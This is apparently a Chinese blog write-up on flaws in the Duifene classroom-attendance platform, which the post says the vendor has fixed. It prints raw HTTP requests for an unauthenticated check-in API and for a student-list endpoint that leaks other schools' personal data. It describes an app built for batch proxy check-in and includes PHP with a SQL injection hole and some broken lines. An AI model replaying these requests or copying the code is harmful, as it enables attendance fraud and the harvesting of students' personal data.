厂商已修复
一次课上,老师让同学们扫描二维码关注对分易教学平台,使用对分易进行考勤,其特点是在设定的时间内,必须在微信里面输入四个数字(老师提供的考勤密码),方式很新颖,但是没有基于生物特征签到的方法都是有漏洞的,遂决定晚上回去研究一下。
使用nslookup得到对分易的IP地址
由于页面只能在微信内部打开,所以在这里使用Wireshark抓包分析,首先笔记本开启wifi分享,手机接入后,启动Wireshark
经过分析我们发现了以下接口:
出勤状态查询接口
POST/_CheckIn/MBCount.ashx HTTP/1.1
Host:www.duifene.com
Connection:keep-alive
Content-Length: 38
Accept: */*
Origin:http://www.duifene.com
X-Requested-With:XMLHttpRequest
User-Agent:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/42.0.2311.154 Safari/537.36 LBBROWSER
Content-Type:application/x-www-form-urlencoded; charset=UTF-8
Referer:http://www.duifene.com/_CheckIn/PC/TeachCheckIn.aspx
Accept-Encoding:gzip, deflate
Accept-Language:zh-CN,zh;q=0.8
action=getcheckintotalbyciid&ciid=6666
返回格式:
{"OutNumber":1,"AbsenceNumber": 0, "LateNumber": 0,"LeaveNumber": 0,"TotalNumber":1}
出勤1 缺勤0 迟到0 请假0 总数1
签到接口
POST/_CheckIn/CheckIn.ashx HTTP/1.1
Host:www.duifene.com
Connection:keep-alive
Content-Length: 54
Accept: */*
Origin:http://www.duifene.com
X-Requested-With:XMLHttpRequest
User-Agent:Mozilla/5.0 (Linux; Android 5.1.1;) AppleWebKit/537.36(KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile MQQBrowser/6.8TBS/036824 Safari/537.36 MicroMessenger/6.3.27.880 NetType/WIFI Language/zh_CN
Content-Type:application/x-www-form-urlencoded; charset=UTF-8
Referer:http://www.duifene.com/_CheckIn/MB/CheckInStudent.aspx?pasd=0.83
Accept-Encoding:gzip, deflate
action=studentcheckin&studentid=666666&checkincode=0221
返回格式:
{"msg":1,"msgbox":"签到成功!"}
然后使用postman请求接口发现
成功了! 显然对方没有对接口请求做验证
签到的时候需要携带三个变量
action studentid checkincode 分别为:动作 学生ID 考勤密码
那么问题来了,学生ID从什么地方获取,继续抓包,在查看学生列表中发现了下面这个接口。
获取全班接口
http://www.duifene.com/_UserCenter/StudentsList.ashx
Content-Disposition:form-data; name="action"
getstudentlist
Content-Disposition:form-data; name="ClassID"
6666
使用这个接口可以获取全班学生的详细信息
(后来发现这个接口更换classID可以获取平台上其他学校的学生信息,有信息泄露的风险,太不严谨了,希望厂商添加token验证)
这个接口需要携带ClassID,那么这个ID从哪儿得到?经过分析发现,在PC端页面中存在几个隐藏的input,图中红色框内即是ClassID,使用这个接口就可以得到本班所有人的studentid
方法已经找到了,就是简单的接口请求,那么开始着手做一个简单的Android APP。
功能为一键签到,遂想起来了百度贴吧的一键签到页面
使用hierarchyviewer分析其布局,上半部分主要如下
仿照其大体做了一个(感觉不如人家的漂亮%>_<%)
由于获取到的本班学生信息有很多,在这里只需要studentid,idno,username,一个一个粘贴太累,用php写了一个小程序,将所需的信息导入了数据库
query("set names'utf8'");
}catch(PDOException$e){
die("数据库连接失败".$e->getMessage());
}
$class_string_json= file_get_contents("class.json");
$class_array =json_decode($class_string_json);
$insert_sql ="";
for($i=0;$iID},'{$class_array[$i]->UserName}',{$class_array[$i]->Phone},{$class_array[$i]->IDNO})";
$row = $pdo->exec($insert_sql);
if($row){
echo $class_array[$i]->IDNO." success";
}
}
再写一个用于添加学生时获取studentid的程序
query("set names'utf8'");
}catch(PDOException$e){
die("数据库连接失败".$e->getMessage());
}
$IDNO =$_GET['IDNO'];
if($token == $_GET['token']){
$select_IDNO_sql = "selectid,username,idno from student_info where idno='{$IDNO}'";
$rs = $pdo->query($select_IDNO_sql);
$rs->setFetchMode(PDO::FETCH_ASSOC);
$row = $rs->fetch();
if($row != ""){
$row['msg'] = "1";
echo json_encode($row);
}else{
$row['msg'] = "0";
echo json_encode($row);
}
exit();
}else{
exit('非法访问 token error');
}
通过学号预先添加学生,当课上签到的时候输入考勤密码,点击圆形按钮即可批量签到。
<--本文章仅学习交流之用,如有侵权请联系我-->